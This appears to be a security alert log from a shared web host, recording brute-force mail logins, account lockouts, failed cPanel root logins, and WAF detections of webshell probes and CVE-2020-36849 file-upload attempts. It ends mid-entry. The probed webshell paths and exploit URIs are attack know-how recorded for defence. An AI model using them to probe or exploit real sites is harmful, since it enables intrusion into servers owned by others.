2026-01-31 05:16:01 dovecot_login authenticator failed for H=(VhL9BCoZMB) [178.16.54.22]:51276: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.211.30
country_id: 1814991
description:
2026-01-31 05:16:16 dovecot_login authenticator failed for H=([218.1.211.30]) [218.1.211.30]:55360: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.246.106
country_id: 1269750
description:
2026-01-31 05:16:26 dovecot_login authenticator failed for H=([125.19.172.119]) [125.20.246.106]:36228: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:16:13 dovecot_login authenticator failed for H=(hwXqLK92) [178.16.54.138]:51700: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:17:11 dovecot_login authenticator failed for H=(s4e9HB) [178.16.54.138]:54247: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:17:13 dovecot_login authenticator failed for H=(YHYhw9) [185.230.124.69]:64295: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:17:48 dovecot_login authenticator failed for H=(hURAVRS) [185.230.124.69]:50167: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:17:02 dovecot_login authenticator failed for H=(G97lfVA5q) [178.16.54.22]:62245: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:17:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:17:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/component/tag/img/druma_photos/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:18:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:18:11 dovecot_login authenticator failed for H=(XTKhwMi) [178.16.54.138]:62771: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:18:19 dovecot_login authenticator failed for H=(FwEURrlXoY) [178.16.54.22]:56933: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:18:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:18:10 dovecot_login authenticator failed for H=(WU5A0x8L) [185.230.124.69]:64916: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.210.151.158
country_id: 3144096
description:
2026-01-31 05:18:34 dovecot_login authenticator failed for H=(cm-84.210.151.158.get.no) [84.210.151.158]:37114: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.187.167.234
country_id: 6252001
description:
2026-01-31 05:18:26 dovecot_login authenticator failed for H=wsip-98-187-167-234.fv.ks.cox.net [98.187.167.234]:37346: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.200.93.86
country_id: 290557
description:
2026-01-31 05:19:57 dovecot_login authenticator failed for H=([87.200.93.86]) [87.200.93.86]:46983: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:19:03 dovecot_login authenticator failed for H=(u7Zvdlt) [185.230.124.69]:49871: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:19:18 dovecot_login authenticator failed for H=(DESU8H) [178.16.54.138]:50421: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.53.19
country_id: 1643084
description:
2026-01-31 05:19:47 dovecot_login authenticator failed for H=([103.138.53.19]) [103.138.53.19]:58513: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:19:58 dovecot_login authenticator failed for H=(HetYGPO3) [185.230.124.69]:56331: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.66
country_id: 6252001
description:
2026-01-31  5:19:58 16030 [Warning] Aborted connection 16030 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.66' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.95.54.132
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/photos/img/photos/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:19:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:19:09 dovecot_login authenticator failed for H=(UAdVRixmwy) [178.16.54.22]:60017: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:20:17 dovecot_login authenticator failed for H=(QhZmY6lGDJ) [178.16.54.22]:51561: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:20:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.49.37.236
country_id: 6252001
description:
[2026-01-31 05:20:53 +0800] info [whostmgrd] 72.49.37.236 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.156.6.147
country_id: 3144096
description:
2026-01-31 05:20:54 dovecot_login authenticator failed for H=(cm-78.156.6.147.get.no) [78.156.6.147]:41831: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:20:21 dovecot_login authenticator failed for H=(FHcv8p65) [185.230.124.69]:61967: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.158.170.213
country_id: 2139685
description:
2026-01-31 05:20:46 dovecot_login authenticator failed for H=host-175-158-170-213.static.lagoon.nc [175.158.170.213]:47008: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:20:15 dovecot_login authenticator failed for H=(GzI7oE) [178.16.54.138]:50988: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:21:11 dovecot_login authenticator failed for H=(Pgt0rq) [185.230.124.69]:49321: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:21:11 dovecot_login authenticator failed for H=(n8nrtVzrk) [178.16.54.138]:57093: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:21:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:21:03 dovecot_login authenticator failed for H=(JilYvBryv) [178.16.54.22]:58228: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 189.69.22.152
country_id: 3469034
domain: vc-b.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:20399.vc-b.com.my||ServerName:vc-b.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:130c2dca73a7977e88b75273b3c31f2d4a03c669||Title:0x408a3934||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:21:55 dovecot_login authenticator failed for H=(UZjSxjiT) [185.230.124.69]:55968: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:22:03 dovecot_login authenticator failed for H=(ChtrCt) [178.16.54.22]:55797: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:22:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:22:05 dovecot_login authenticator failed for H=(K5liwmcbO) [185.230.124.69]:49959: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:22:12 dovecot_login authenticator failed for H=(XMTVAg) [178.16.54.138]:63786: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:23:22 dovecot_login authenticator failed for H=(RZHl9G) [178.16.54.22]:53175: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:23:51 dovecot_login authenticator failed for H=(OtDRFnK) [185.230.124.69]:53965: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 05:23:10 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:19746: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:23:12 dovecot_login authenticator failed for H=(BFVIeCfv) [185.230.124.69]:63110: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:23:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:23:11 dovecot_login authenticator failed for H=(E0zCNXhU) [178.16.54.138]:56399: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.158.14.232
country_id: 1512440
description:
2026-01-31 05:23:27 dovecot_login authenticator failed for H=([195.158.14.232]) [195.158.14.232]:55006: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.140.123.244
country_id: 1269750
domain: stealthvenom.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/cabecom/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.121.214
country_id: 1269750
domain: vc-b.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:27149.vc-b.com.my||ServerName:vc-b.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dba861e171b08afb602e841b5be18e2fe4036fdf||Title:0x7cb21e00||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/settingsimages/db.php||SC:/home/afsb/public_html/wp-content/uploads/settingsimages||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:24:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:24:21 dovecot_login authenticator failed for H=(J6KbJCOw) [178.16.54.22]:53773: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: Track file upload for Infectors||RSV:7.71||T:APACHE||SC:/home/afsb/public_html/wp-content/themes/RightNow||User:afsb||WPU:||


plugin: modsec
rule: 77316797
name: IM360 WAF: RCE in uri used by KashmirBlack
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: RCE in uri used by KashmirBlack||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: stealthvenom.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/autoload_classmap.php||SC:/home2/cabecom/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 23.88.88.102
country_id: 2921044
domain: astlog.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/astlog.com.my/wp-json/wp/v2/posts HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-01-31 05:24:36 dovecot_login authenticator failed for H=(50-212-27-146-static.hfc.comcastbusiness.net) [50.212.27.150]:37962: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:24:08 dovecot_login authenticator failed for H=(sZP5j3IB) [185.230.124.69]:57193: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.33.0
country_id: 6252001
description:
[2026-01-31 05:24:05 +0800] info [whostmgrd] 172.56.33.0 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.144.252.23
country_id: 6252001
description:
2026-01-31 05:24:29 dovecot_login authenticator failed for H=([108.144.252.23]) [108.144.252.23]:54087: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:24:01 dovecot_login authenticator failed for H=(RrxHKefsN) [178.16.54.138]:51613: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:25:52 dovecot_login authenticator failed for H=(eYs80Qj) [185.230.124.69]:53549: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:25:11 dovecot_login authenticator failed for H=(WJfWTLom1) [178.16.54.138]:61338: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: Track file upload for Infectors||RSV:7.71||T:APACHE||SC:/home/afsb/public_html/wp-content/plugins/wp-time-capsule||User:afsb||WPU:||


plugin: modsec
rule: 77787844
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
name:
IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE\xe2\x80\x912020\xe2\x80\x9136849)

description:
IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE\xe2\x80\x912020\xe2\x80\x9136849)||MV:.php||FILES:TDN.php||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77787845
name: IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE-2020-36849)
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE-2020-36849)||MV:.php||FILES:TDN.php||FILES_NAMES:file||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.123.244
country_id: 1269750
domain: stealthvenom.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/uploads/index.php||SC:/home2/cabecom/public_html/uploads||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 43.134.165.63
country_id: 1880251
domain: thinkcloud.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.192 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:25:01 dovecot_login authenticator failed for H=(aXxPXGo) [185.230.124.69]:50955: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: modsec
rule: 77787846
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
name:
IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE\xe2\x80\x912020\xe2\x80\x9136849)

description:
IM360 WAF: Arbitrary file upload in AIT CSV Import/Export <=3.0.3 (CVE\xe2\x80\x912020\xe2\x80\x9136849)||MV:.php||FILES:TDN.php||FILES_NAMES:file||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:25:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 124.108.50.12
country_id: 1831722
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/TDN.php||SC:/home/afsb/public_html/wp-content/uploads/TDN.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:25:44 dovecot_login authenticator failed for H=(BXycqyG) [178.16.54.22]:62201: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:26:01 dovecot_login authenticator failed for H=(rtPuTR) [185.230.124.69]:54188: 535 Incorrect authentication data (set_id=finance)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/images/press.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:26:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:26:54 dovecot_login authenticator failed for H=(pjzOJk) [178.16.54.22]:65404: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:26:04 dovecot_login authenticator failed for H=(92AAaCN4V) [178.16.54.138]:64371: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-01-31 05:26:14 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg [121.6.81.59]:57423: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.88
country_id: 1814991
description:
2026-01-31 05:26:25 dovecot_login authenticator failed for H=([27.24.141.88]) [27.24.141.88]:50972: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-31 05:26:52 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:45796: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: box.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/woh/public_html/wp-admin||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:27:33 dovecot_login authenticator failed for H=(yM116j0) [185.230.124.69]:58598: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:27:04 dovecot_login authenticator failed for H=(kbF8kje) [185.230.124.69]:53604: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.20.73.26
country_id: 1814991
description:
2026-01-31 05:27:11 dovecot_login authenticator failed for H=([14.20.73.26]) [14.20.73.26]:53680: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:27:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:27:13 dovecot_login authenticator failed for H=(sis8wVnpR) [178.16.54.138]:59647: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:27:23 dovecot_login authenticator failed for H=(X7CaW2WBG) [178.16.54.22]:59555: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:28:14 dovecot_login authenticator failed for H=(DdsQVb6) [185.230.124.69]:49588: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:28:22 dovecot_login authenticator failed for H=(wv86p9t6G) [178.16.54.22]:53100: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:28:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:28:16 dovecot_login authenticator failed for H=(qTKC3YhI) [178.16.54.138]:62237: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:29:16 dovecot_login authenticator failed for H=(PiD8W5e) [178.16.54.138]:57521: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:29:43 dovecot_login authenticator failed for H=(zqmmzJ0) [185.230.124.69]:60556: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:29:04 dovecot_login authenticator failed for H=(pKtGTmqV) [178.16.54.22]:65146: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:29:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:29:11 dovecot_login authenticator failed for H=(4h08zbI) [185.230.124.69]:63366: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:30:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:30:02 dovecot_login authenticator failed for H=(5qguF2) [185.230.124.69]:63844: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
